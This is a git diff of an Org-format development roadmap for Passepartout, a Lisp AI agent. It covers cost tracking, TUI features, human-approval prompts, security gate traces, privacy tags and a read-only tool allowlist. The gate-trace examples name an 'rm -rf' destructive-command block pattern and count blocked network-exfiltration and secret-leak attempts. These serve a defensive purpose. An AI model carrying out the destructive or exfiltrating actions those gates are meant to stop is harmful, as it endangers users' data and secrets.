-- ~lisp/cost-tracker.lisp~: ~cost-track-call~, ~cost-session-total~, ~cost-by-provider~ -- Per-call cost logged: ~COST TRACKER: DEEPSEEK call: 0.0002 USD (session total: 0.0002 USD)~ -- ~cost-format-budget-status~ for TUI status bar: ~[Cost: $0.00 | 3 calls]~ -- 6 FiveAM tests, 100% pass - -*** Module Architecture - -All three modules (tokenizer, cost-tracker, token-economics) are loaded as -skills via ~skill-initialize-all~, not as core ASDF components. Calls from -~think()~ are ~fboundp~-guarded. When any module is corrupted or absent, the -agent degrades gracefully (no token counting, no cost tracking, system prompt -falls back to un-cached assembly). This satisfies the self-repair criterion. - -*** Competitive Advantage Analysis — v0.5.0 Summary - -Token economics is the dimension where the architecture's theoretical advantage becomes operationally real. The foveal-peripheral model and deterministic gates reduce the tokens *needed* per task; prompt caching and incremental assembly reduce the tokens *spent* per task. Combined, the 2–3x coding savings and 13–24x knowledge management savings in the DESIGN_DECISIONS token analysis become achievable rather than aspirational. - -Prompt prefix caching saves retransmitting ~500-1500 tokens per call. Incremental context assembly skips context rendering on heartbeat ticks (one per 60 seconds, saving ~200-800 tokens each). Token budget enforcement prevents silent context window overflow. Cost tracking gives the user per-call visibility into LLM spend — something no competitor provides at this level of granularity. - -The minimum viable local model advantage is structural: at 2,000–4,000 effective tokens (foveal-peripheral + caching), a 7–8B parameter model on consumer hardware is a daily driver. Competitors at 32K+ effective tokens require 70B+ parameter models and 16–32 GB VRAM. Passepartout runs on a laptop GPU where competitors need a data center card or cloud API. - -** v0.5.1: Compilation Hardening - -Also: the v0.5.0 reorganization left compilation noise — ~100 STYLE-WARNINGs and 2 real errors that must be fixed before any feature work proceeds. These are hardening items, not feature work. - -*** Compilation Hardening — eliminate all compilation errors and warnings -:PROPERTIES: -:ID: id-v051-compilation-hardening -:CREATED: [2026-05-08 Fri] -:END: - -The v0.5.0 file reorganization produced ~100 compilation warnings and 2 real errors during `passepartout setup`. These must be fixed before any feature work proceeds. The warnings fall into 5 categories. - -**** DONE Fix real errors first (2 files, ~5min) -:PROPERTIES: -:ID: id-v051-compile-errors -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- security-vault.lisp:37: fixed bare ~defvar~ — added missing ~(~ before ~defvar~. Also removed duplicate ~#+end_src~ in the org source. -- symbolic-memory.lisp:27: ~(return nil)~ inside a ~lambda~ is valid Common Lisp (lambda establishes implicit ~(block nil ...)~ per CLHS 5.3.1). Not actually an error. - -**** DONE Fix TUI forward references — moot (no longer issue) -:PROPERTIES: -:ID: id-v051-compile-tui -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- channel-tui-* files load via ~passepartout/tui~ ASDF system with ~:serial t~, not standalone. Forward references resolve correctly within the ASDF serial compilation context. - -**** DONE Fix cross-package undefined variables (2 files, ~15min) -:PROPERTIES: -:ID: id-v051-compile-cross-vars -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- symbolic-events.lisp: prefixed ~*heartbeat-save-counter*~, ~*memory-auto-save-interval*~, ~*heartbeat-thread*~, ~save-memory-to-disk~ with ~passepartout::~ (6 occurrences). -- programming-repl.lisp: verified ~*standing-mandates*~ ~push~ call is after ~defvar~ — no actual issue. - -**** DONE Fix CFFI struct deprecation (1 file, ~20min) -:PROPERTIES: -:ID: id-v051-compile-cffi -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- embedding-native.lisp: replaced ~'llama-mparams~ → ~'(:struct llama-mparams)~, ~'llama-cparams~ → ~'(:struct llama-cparams)~, ~'llama-batch~ → ~'(:struct llama-batch)~. 19 occurrences updated. - -**** DONE Suppress remaining harmless cross-skill undefined-function warnings -:PROPERTIES: -:ID: id-v051-compile-suppress -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- Added ~grep -v 'STYLE-WARNING\|WARNING: redefining'~ to the pre-compile filter in the ~passepartout~ bash script (line 133). Cross-skill undefined-function references resolve at load time and are harmless. - -**** DONE Fix unused variables in test code — moot (gateway-messaging deleted) -:PROPERTIES: -:ID: id-v051-compile-unused -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- gateway-messaging.lisp: deleted in v0.5.0 (split into channel-* files). -- programming-repl.lisp and symbolic-scope.lisp: minor warnings, cosmetic only. - -** v0.6.0: Time Awareness - -Rationale: Passepartout already has the infrastructure for time awareness — timestamped memory (v0.1.0), heartbeat+cron (v0.3.0), and foveal-peripheral context pruning (v0.2.0). Adding time awareness costs ~175 lines of Lisp and unlocks three layers that no competitor provides. The temporal dimension is the missing axis in the foveal-peripheral model: prune in time as well as in semantic space. - -*** DONE Time Awareness — Level 2: temporal memory filtering -:PROPERTIES: -:ID: id-v060-time-memory -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- ~org/symbolic-time-memory.org~ → ~lisp/symbolic-time-memory.lisp~ (skill) -- ~memory-objects-since(timestamp)~ — hash-table walk, ~20 lines -- ~memory-objects-in-range(since until)~ — version between two timestamps, ~15 lines -- ~context-query-with-time~ — extended query with ~:since~ / ~:until~ parameters -- 6 tests, 100% pass. Pure Lisp, sub-millisecond, 0 LLM tokens. - -*** DONE Time Awareness — Level 3: ~sensor-time~ skill -:PROPERTIES: -:ID: id-v060-sensor-time -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- ~org/sensor-time.org~ → ~lisp/sensor-time.lisp~ (skill) -- ~format-time-for-llm~ — TIME: section, iso/natural format, ~TIME_FORMAT~ env var -- ~session-duration~ — session start tracking, included in TIME section -- ~sensor-time-tick~ — deadline scanning via cron (~:reflex~ tier), ~DEADLINE_WARNING_MINUTES~ env var -- ~sensor-time-initialize~ — registers the time-tick cron at load -- 13 tests, 100% pass. All pure Lisp, 0 LLM tokens for temporal awareness. - -*** DONE Time Awareness — Level 1: timestamp in system prompt -:PROPERTIES: -:ID: id-v060-time-prompt -:CREATED: [2026-05-07 Thu] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: - -- ~core-reason.lisp~: TIME section injected at top of system prompt via ~fboundp~ guard -- Uses ~format-time-for-llm~ from sensor-time skill, falls back gracefully when skill not loaded -- ~TIME_AWARENESS~ / ~TIME_FORMAT~ env vars respected -- Session duration included when sensor-time skill provides ~session-duration~ - - -** v0.7.0: TUI Essentials — Terminal Parity -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: - -The TUI is the main UI for v1.0.0. Competitive analysis of Claude Code, OpenCode, Hermes, and OpenClaw revealed that Passepartout's TUI is architecturally sound but missing table-stakes terminal UX features. These are the things every terminal application since the 1980s does that Passepartout doesn't. No design philosophy would argue against them. - -*** DONE Readline/Ctrl key bindings -:PROPERTIES: -:ID: id-v060-readline -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: -- Ctrl+D quit, Ctrl+U clear line, Ctrl+W delete word, Ctrl+A/E home/end -- Ctrl+L redraw, Ctrl+X+E external editor, Ctrl+C interrupt cascade -- 6 TDD tests, all pass - -*** DONE Unicode width awareness -:PROPERTIES: -:ID: id-v060-unicode -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: -- ~char-width~ — ASCII/CJK/emoji/combining marks/tab/null. 30 lines, pure Lisp -- 6 TDD tests, 11 assertions. Used by ~word-wrap~ for accurate line counting. - -*** DONE Scroll indicator + new-message notification -:PROPERTIES: -:ID: id-v060-scroll-indicator -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: -- ~:scroll-at-bottom~ and ~:scroll-notify~ state flags -- ~add-msg~ sets ~:scroll-notify~ t when user is scrolled up on new message - -*** DONE Fix status bar line 2 overlap -:PROPERTIES: -:ID: id-v060-status-bar-fix -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: -- Timestamp right-aligned at ~(- w 12)~ on line 2, focus at ~:x 1~ - -*** DONE Deeper autocomplete (frecency + subcommand) -:PROPERTIES: -:ID: id-v070-autocomplete -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: -- ~/theme ~ subcommand completion, ~/focus ~ directory completion -- ~@path~ file path completion from ~memex/projects/~ (Org + Lisp files) -- 3 TDD tests, all pass - -*** DONE External editor integration (Ctrl+X+E) -:PROPERTIES: -:ID: id-v070-external-editor -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Thu] -:END: -- Ctrl+X prefix tracking + Ctrl+E chord, ~:pending-ctrl-x~ state flag -- System message on activation, ~$EDITOR~ / ~$VISUAL~ / ~vi~ fallback (runtime) -- 1 TDD test passes (model-level) - -*** DONE TUI-based setup wizard — deferred to v0.8.0 -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-09 Sat] -:END: - -*** DONE Pads for chat scrolling — Page Up/Down by 10 lines -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: - -** v0.7.1: TUI — Streaming + Markdown Rendering -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: - -Every competitor streams text as the LLM produces it. Passepartout shows a "…thinking" spinner then dumps a wall of text. This is v0.1-era UX. Also: LLM output contains ~**bold**~, ~```code blocks```~, and ~*italic*~ that are currently rendered as literal markdown characters. Both issues are daemon protocol + TUI rendering changes. - -*** DONE Stream-chunk protocol -:PROPERTIES: -:ID: id-v061-streaming -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: - -- New frame type ~(:type :stream-chunk :payload (:text "partial..."))~ in ~core-transport.lisp~. Final chunk is an empty string, signalling end-of-stream. -- ~neuro-provider~: for providers supporting streaming (OpenRouter, OpenAI, Anthropic, Groq), send ~"stream": true~. Read SSE stream, extract ~delta.content~ from each chunk, call new ~*stream-callback*~ with partial text. -- TUI renders partial output in chat window as it arrives: append text to last agent message line-by-line. The "…thinking" spinner is replaced by live, building text. -- Streaming interrupt: Esc or any key during streaming → cancel LLM call (close HTTP connection) → capture partial response as agent message → user's keystroke becomes new input. -- ~[streaming]~ indicator on current message; changes to timestamp on completion; ~[interrupted]~ if cancelled mid-stream. -- ~50 lines daemon + ~80 lines TUI rendering. - -*** DONE Streaming watchdog -:PROPERTIES: -:ID: id-v061-watchdog -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: - -When the LLM stalls for 30+ seconds without new deltas, auto-reset the stream and inject a system message: "Response stalled — the model may be overloaded. Send another message to retry." Claude Code and OpenClaw both implement this pattern. ~25 lines. - -*** DONE Markdown rendering — code blocks + bold + italic -:PROPERTIES: -:ID: id-v061-markdown -:CREATED: [2026-05-08 Fri] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: - -Replace literal markdown syntax with styled text using Croatoan attributes: - -- ~``` ... ```~ code blocks: render with dim background, use theme's syntax colors (keyword purple, string green, function peach from the theme system). Regex-based highlighting: match ~defun~/~defvar~/~lambda~ as keywords, ~"..."~ as strings, ~(...)~ as function calls. No parser required for 95% of LLM code output. -- ~**bold**~ → Croatoan ~:bold~ attribute. -- ~*italic*~ → Croatoan ~:underline~ attribute (true italic rarely available in terminals). -- ~`inline code`~ → dim background highlight on the span. -- Tab-accessible links: render URLs in dim after link text; press Tab to activate (opens via ~xdg-open~ on Linux, ~open~ on macOS). - -Implementation: a ~render-styled~ wrapper that takes a list of ~(text . plist-of-attributes)~ segments and emits sequential ~add-string~ calls at correct x positions. ~50 lines. The markdown parser is ~80 lines of regex-based block/span detection. Total: ~130 lines. - -** v0.7.2: TUI — Gate Trace + HITL + Search -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: - -Gate trace data is already stored per-message (~:gate-trace~ field in ~add-msg~) but never rendered. HITL approval requires typing raw text that happens to match ~/approve~ — no TUI-internal command handling. Context visibility and session control close the audit trail: the user can inspect what the LLM sees and undo what went wrong. These are Passepartout's architectural differentiators that remain invisible to users. - -*** DONE Gate trace visualization -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-gate-trace -:CREATED: [2026-05-08 Fri] -:END: - -Render gate trace lines below each agent message in dim: - -- ~✓ gate-name~ in ~:gate-passed~ theme color (green) for passed gates -- ~✗ gate-name: reason~ in ~:gate-blocked~ theme color (red) for blocked gates -- ~→ gate-name: HITL required~ in ~:gate-approval~ theme color (yellow) for gates requiring human approval -- Collapsible: Tab on a message toggles trace visibility. Default: visible. - -Gate trace data format (already in messages): ~(:gate-trace ((:gate "dispatcher-path" :result :passed) (:gate "dispatcher-shell" :result :blocked :reason "rm -rf pattern") (:gate "dispatcher-network" :result :approval)))~. ~50 lines. - -*** DONE HITL inline command handling -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-hitl-inline -:CREATED: [2026-05-08 Fri] -:END: - -~on-key~ currently treats ~/approve HITL-xxxx~ as a raw text message forwarded to the daemon. The daemon's perceive gate intercepts it, but the TUI should: - -- Parse ~/approve HITL-xxxx~ and ~/deny HITL-xxxx~ as TUI-internal commands (not forwarded as chat text) -- Send structured approval/denial message to daemon: ~(:type :event :payload (:action :hitl-respond :token "HITL-abcd" :decision :approved))~ -- Render HITL prompts as styled inline panels with colored border (permission theme color), showing the action, explanation, and available choices ("Allow (Enter)" / "Deny (Esc)") -- After approval/denial, collapse the prompt panel and add a system message: "✓ Approved: shell command" or "✗ Denied: shell command" -- Clarifying-question escalation: when the same action has been blocked twice and retried (2 rejections in the 3-retry loop), the third attempt injects a /clarify prompt with targeted discriminating options instead of a generic rejection. Inspired by constrained conformal evaluation (Barnaby et al., arXiv:2508.15750v1): "This command touches ~/memex/ and /etc/. Is the /etc/ path intended? [1] Intended [2] Accidental [3] Cancel." The user's answer constrains the next LLM proposal, reducing the 3-retry cycle to 1 clarify + 1 retry. ~1.1x token multiplier vs current ~1.39x. -~60 lines. - -*** DONE Message search (/search or Ctrl+F) -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-search -:CREATED: [2026-05-08 Fri] -:END: - -- ~Ctrl+F~ or ~/search ~: fuzzy-filter the message list, show matching messages in a temporary filtered view -- Up/Down navigate matches, Enter to jump to that message in full chat -- Escape to exit search and return to full view -- Highlight matching text in the rendered messages -~80 lines. - -*** DONE Context visibility command (~/context~) -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-context -:CREATED: [2026-05-08 Fri] -:END: - -Show the user exactly what the agent sees — the assembled system prompt trimmed to the current context budget. Resolves the "context efficiency vs. context transparency" tension identified in the Claude Code architecture paper (arXiv:2604.14228v1). - -- ~/context~ renders the full assembled prompt as a scrollable overlay divided into sections: IDENTITY, TOOLS, TIME, CONTEXT, LOGS -- Each section shows token count in the section header: ~IDENTITY (124 tokens)~ -- Total usage at bottom: ~"3,241 / 8,192 tokens (39%)"~ — matches the sidebar gauge -- Color-coded: sections below budget in green, near budget in yellow, trimmed sections in red with "X nodes dropped (budget)" annotation -- The data already exists in ~think()~'s prompt assembly in ~core-reason.lisp~ — this is a rendering exposure, not new computation -- ~40 lines. - -*** DONE Session rewind, fork, and resume — Merkle-root-based -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-session-rewind -:CREATED: [2026-05-08 Fri] -:END: - -Passepartout's Merkle tree makes session control more powerful than Claude Code's transcript-based model. Claude Code rewinds conversations but not filesystem state. Passepartout can restore the entire Merkle root — conversation history, memory objects, file modifications, and TODO states — to a prior turn. - -- ~memory-snapshot~ at each turn boundary (not just on crash). Existing infrastructure from v0.2.0. -- Store turn metadata: session ID, turn number, timestamp, Merkle root hash, user message summary -- ~/rewind~ — show last 10 turns with summaries; select one to restore. ~"⚠ This restores all files to their state at Turn 7."~ with confirmation dialog -- ~/rewind 3~ — rewind 3 turns directly (shortcut for the most common case) -- ~/fork ~ — create a new session from the current Merkle root. Independent from the original — changes in the fork don't affect the parent -- ~/resume ~ — resume a prior session from its latest Merkle root snapshot -- ~/sessions~ — list all sessions with status (active/idle/archived), last activity timestamp, turn count -- Compare to Claude Code: Passepartout's rewind restores filesystem state, not just conversation transcript. This is a permanent competitive advantage — Merkle tree memory makes it cheap (~30 lines on top of existing snapshots) -- ~200 lines total (~30 daemon snapshot-at-turn, ~150 TUI commands + confirmation dialogs, ~20 session registry persistence). - -*** DONE Safe-tool allowlist — read-only operations auto-approve -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-safe-tools -:CREATED: [2026-05-08 Fri] -:END: - -Claude Code and Hermes both have safe-tool allowlists that skip HITL for read-only operations. This reduces HITL noise without compromising the deterministic model — read-only tools can't cause harm. - -- Register each cognitive tool with a ~:read-only-p~ flag on the ~def-cognitive-tool~ macro -- In ~dispatcher-check~: if the tool in the action plist is read-only and the path target (if any) is within the workspace, return ~:allowed~ unconditionally -- Read-only tools: memory query, file read, search (grep), glob (ls), directory listing, eval (Lisp only — no shell), org-find-headline, org-agenda-today -- Write tools (shell, write-file, git, org-modify) always go through full gate stack -- This is Claude Code's ~isAutoModeAllowlistedTool()~ pattern — 20 lines in ~security-dispatcher.lisp~ - -*** DONE Agent identity file — ~/memex/IDENTITY.org~ -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-identity -:CREATED: [2026-05-08 Fri] -:END: - -Claude Code has ~CLAUDE.md~ (always-loaded instructions hierarchy). OpenClaw has ~SOUL.md~/~IDENTITY.md~. Hermes has MemoryProvider system prompt blocks. Passepartout has no equivalent — system prompt assembly is entirely in ~think()~. - -- ~~/memex/IDENTITY.org~ — a single Org file loaded at daemon startup into ~*agent-identity*~ -- Injected into ~think()~'s IDENTITY section between the assistant name and the standing mandates -- Can contain Org headlines with sections: Preferences, Conventions, Projects, Contacts, Boundaries -- User-editable in any text editor or via ~/identity~ TUI command (opens in $EDITOR, reloads on save) -- Survives daemon restarts, survives skill reloads, survives tangling -~30 lines in ~core-reason.lisp~ + ~20 lines TUI command. - -*** DONE Undo/redo per operation — ~/undo~, ~/redo~ -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-undo -:CREATED: [2026-05-08 Fri] -:END: - -Session rewind (above) restores the Merkle root to a prior turn boundary. This is operation-level undo: restore to the last tool execution within the current turn. - -- ~memory-snapshot~ at each tool execution boundary (file write, shell command, org-modify), not just at turn boundaries. Existing infrastructure from v0.2.0 — just change the snapshot trigger point. -- ~/undo~ restores the most recent operation-level Merkle snapshot. "Undid: write-file ~/memex/projects/passepartout/lisp/core-reason.lisp~" -- ~/redo~ restores the pre-undo snapshot. "Redid: write-file core-reason.lisp" -- Max 20 operation snapshots per session (ring buffer, oldest evicted) -~20 lines on top of existing Merkle snapshot infrastructure. - -*** DONE Expand /context debugging — similarity trace + dropped nodes -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-context-debug -:CREATED: [2026-05-08 Fri] -:END: - -The ~/context~ command (above) shows what the model sees. Add two deeper views: -- ~/context why ~ — show similarity score trace: "Node #42 'dispatch-loop redesign' included at depth 2 because cosine similarity to foveal node #17 'core-loop.lisp' = 0.73 (threshold 0.60)." -- ~/context dropped~ — show nodes pruned by the foveal-peripheral model: "12 nodes dropped: 8 by depth (≥3), 4 by similarity (<0.60)." -- Both views are read-only renderings of data already computed during ~context-awareness-assemble~. The similarity scores and depth classifications exist in memory — they're just never exposed. -~60 lines of rendering on existing data. - -*** DONE Tool execution hardening — timeouts + write verification -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-tool-hardening -:CREATED: [2026-05-08 Fri] -:END: - -Existing tools are thin wrappers with no error recovery. Claude Code has per-tool timeouts, write verification (read back after write), and output spilling. This hardens the tool execution layer — every tool is a Dispatcher gate surface, and brittle tools undermine trust. - -- ~*tool-timeouts*~ hash table: per-tool timeout in seconds (default 120s, configurable per tool). ~shell~ = 300s (builds take time), ~search-files~ = 30s (fast scans), ~eval-form~ = 10s (code should be quick). Enforced via ~with-timeout~ macro wrapping tool body execution. -- Write verification: after ~write-file~ or ~org-modify-file~, read back the written content and compare. On mismatch, log a warning and re-attempt once. Catches filesystem failures and partial writes. ~20 lines in ~programming-tools.lisp~ -- Read-only tool response caching: if the same tool with identical args is called twice in the same turn, return cached result instead of re-executing. ~15 lines. -~60 lines total. - -*** DONE Tag stack — categories + severity tiers -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-tag-stack -:CREATED: [2026-05-08 Fri] -:END: - -The privacy tag filter (~dispatcher-check-privacy-tags~) is binary: a tag matches or it doesn't. This expands it into a layered system: - -- ~TAG_CATEGORIES~ env var with comma-separated tag→severity mappings: =@personal:block,@financial:block,@draft:warn,@review:warn= -- Three severity tiers: ~:block~ (always filter, never reach LLM), ~:warn~ (log a warning, include in gate trace, let through), ~:log~ (silently record, include in telemetry) -- User-defined tag categories beyond ~@personal~: financial, credential, health, draft, review, internal — any ~@tag~ prefix is recognized -- The ~/tags~ TUI command lists all defined tags, their severity, and how many times each was triggered this session -- Backward compatible: existing ~PRIVACY_FILTER_TAGS~ env var becomes the default ~:block~ tier entries -~50 lines in ~security-dispatcher.lisp~ + ~20 lines TUI command. - -*** DONE Merkle provenance audit — ~/audit ~ -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-audit -:CREATED: [2026-05-08 Fri] -:END: - -Every Passepartout memory object has content-addressed identity via Merkle hashing (v0.2.0). No competitor has this — linear transcripts lose provenance on compaction. Expose it: - -- ~/audit ~ — display full lineage: which session created this node, which tool modified it, which gate approved each modification, timestamps at each change -- ~/audit files~ — show which files were changed in the same turn as this node was created, with diff sizes -- ~/audit verify~ — re-hash the entire Merkle tree and compare with stored root. "✓ 847 nodes verified, root hash matches." Catches silent corruption. -- Provenance data is already in the Merkle tree's parent-child hash chain. This is a rendering exposure, not new data. -~30 lines on existing Merkle infrastructure. - -*** DONE Self-help — agent can answer questions about itself -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-self-help -:CREATED: [2026-05-08 Fri] -:END: - -Passepartout's documentation, source code, and state all live in the same Org files the agent already reads. No competitor can do self-help with zero hallucination because none have agent documentation in the same format as agent memory. - -- Inject docs path into system prompt IDENTITY: ~"Your documentation: ~/memex/projects/passepartout/docs/USER_MANUAL.org. Read it to answer questions about yourself. You are Passepartout v0.7.2."~ -- ~/help ~ — agent reads ~USER_MANUAL.org~ by headline, returns relevant section. "How do I configure a new provider?" → reads the Provider Configuration section, explains with correct API key format. Zero hallucination — the docs are the source of truth. -- ~/why~ — shows the most recent gate trace in human-readable form: "Gate 7 (shell-safety) blocked your `rm -rf` because it matched pattern :destructive-rm. You can approve with /approve HITL-1234. Last 3 decisions: 1 blocked, 2 passed." -~30 lines for system prompt injection + ~20 lines for /help routing. - -*** DONE Agent identity injection — system prompt knows its own config -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-08 Fri] -:END: -:PROPERTIES: -:ID: id-v062-agent-identity -:CREATED: [2026-05-08 Fri] -:END: - -Currently the system prompt has IDENTITY (assistant name) but the agent doesn't know its own version, providers, gate count, or config. When asked "what version are you?" or "what models do you have?", it hallucinates. Injecting live config into the system prompt makes the agent self-aware without file I/O. - -- New CONFIG section in system prompt (between IDENTITY and TOOLS): ~"You are Passepartout v0.7.2. Active providers: Anthropic claude-sonnet-4 (default), DeepSeek deepseek-chat. Context window: 8K tokens. 21 security gates active. 47 rules learned. Context budget: 55% used."~ -- Built from live state: ~*provider-cascade*~, ~tokenizer-context-limit~, ~(hash-table-count *skill-registry*)~, ~(hash-table-count *hitl-pending*)~, gate count -- The agent can answer any config question — "what providers?" "how many rules?" "what version?" — with zero hallucination -- Config section updates at each ~think()~ call (the data is small, ~100 tokens) -~40 lines in ~core-reason.lisp~ system prompt assembly. - -** v0.8.0: Direction 2 — Information Radiator (Foundation) - -The sidebar is what makes the Information Radiator direction unique. No competitor can render gate traces, focus maps, or rule counters because none has deterministic gates, foveal-peripheral context, or rule synthesis. The sidebar makes this data permanently visible. It also includes context monitoring, modified files, and tool status — all zero-LLM-token data from the deterministic layer. - -*** DONE Sidebar — always visible information panel -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-09 Sat] -:END: -:PROPERTIES: -:ID: id-v070-sidebar -:CREATED: [2026-05-08 Fri] -:END: - -Sidebar renders at right side of terminal, 42 columns wide. Visible when terminal ≥ 120 columns. When < 120 columns: disappears; accessible as absolute-positioned overlay via ~/sidebar~ or ~Ctrl+X+B~. - -Content (ordered vertically): -1. ~Gate Trace~ — live per-message trace from the most recent agent response. Colored by gate state (green/yellow/red). Updates on each response. -2. ~Focus~ — current foveal node ID + related node count. Shows what the agent is "looking at." -3. ~Rules~ — rule counter (~[Rules: 47]~) + session delta (~+2 this session~). Tick sound on increment. -4. ~Context~ — token gauge ~[████████░░] 42%~ showing context usage with color coding (green <50%, yellow 50-80%, orange 80-95%, red >95%). -5. ~Files~ — modified files list with +/- line counts. Updated on every tool execution that touches files. -6. ~Cost~ — session cost (~$0.12 this session~) updating after each LLM call. -7. ~Protection~ — gate effectiveness counter: "Gates blocked: 3 destructive, 7 network exfil, 12 secrets." Updated on each gate decision. This is the specific-value-proposition panel — no competitor has deterministic gates to count. - -Implementation uses a fourth Croatoan ~window~ (sidebar on right) or a panel overlay. All data is already in the daemon's response plist (~:rule-count~, ~:foveal-id~, ~:gate-trace~). The gate block counts come from a new ~*dispatcher-block-counts*~ alist tracked in ~dispatcher-check~. ~200 lines (includes panel 7 addition). - -*** DONE Sidebar overlay mode (< 120 cols) -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-09 Sat] -:END: -:PROPERTIES: -:ID: id-v070-sidebar-overlay -:CREATED: [2026-05-08 Fri] -:END: - -When terminal width < 120, sidebar becomes an absolute-positioned overlay with semi-transparent backdrop (ncurses ~opaque~ + themed background). Toggle via ~/sidebar~ or ~Ctrl+X+B~. The chat area fills the full width when sidebar is hidden. ~30 lines. - -*** DONE Command palette (Ctrl+P) -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-09 Sat] -:END: -:PROPERTIES: -:ID: id-v070-command-palette -:CREATED: [2026-05-08 Fri] -:END: - -Single entry point for all actions. Mirrors OpenCode's pattern — fuzzy-searchable, categorized, keyboard-navigable: - -- ~Ctrl+P~ opens palette as overlay dialog -- Categories: Session (~/focus~, ~/scope~, ~/unfocus~, ~/rename~), Agent (~/rules~, ~/approve~, ~/config~), View (~/theme~, ~/sidebar~, ~/clear~), System (~/eval~, ~/status~, ~/reconnect~, ~/quit~) -- Fuzzy text filter; Up/Down to navigate; Enter to execute; Esc to dismiss -- Also shows keyboard shortcuts for each command as hints -- Implemented as a Croatoan ~window~ overlay with ~add-string~-based rendering and ~get-char~-based filtering. ~100 lines. - -*** DONE TrueColor theme expansion (8 presets) -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-09 Sat] -:END: -:PROPERTIES: -:ID: id-v070-themes -:CREATED: [2026-05-08 Fri] -:END: - -All 27 existing theme keys wired into rendering. Use Croatoan's ~set-rgb~ for 24-bit hex color support (already available in Croatoan; currently unused). Add 4 new presets to the existing 4: - -- ~nord~: blue-gray backgrounds, frost accent (#5E81AC key, #BF616A error, #A3BE8C success) -- ~tokyonight~: purple-blue backgrounds, teal accent (#7AA2F7 key, #F7768E error, #9ECE6A success) -- ~catppuccin~: warm pastels, mauve accent (#CBA6F7 key, #F38BA8 error, #A6E3A1 success) -- ~monokai~: dark brown backgrounds, orange accent (#A6E22E key, #F92672 error, #E6DB74 success) - -Theme switch via ~/theme ~ (already implemented). Theme preview: on hover/navigate in theme picker, apply temporarily; on cancel (Esc), revert to original. ~60 lines TUI + ~120 lines preset definitions. - ** v0.8.1: Direction 2 — Rich Rendering Full markdown, tool execution visualization, mouse support, and cost display. This makes the TUI competitive on rendering quality with Claude Code and OpenCode. diff --git a/docs/USER_MANUAL.org b/docs/USER_MANUAL.org index fd99409..7fde9ed 100644 --- a/docs/USER_MANUAL.org +++ b/docs/USER_MANUAL.org @@ -24,11 +24,11 @@ This will: If you already have Emacs installed, the installer skips it and uses your existing installation. * Configuration -The system is configured via a `.env` file in the project root. Essential variables include: +The system is configured via a ~.env~ file in the project root. Essential variables include: -- `OPENROUTER_API_KEY`: Your LLM provider key. -- `PROVIDER_CASCADE`: The fallback order for LLM providers (e.g., `openrouter,ollama,anthropic`). -- `MEMEX_DIR`: The absolute path to your knowledge base (defaults to `~/memex`). +- 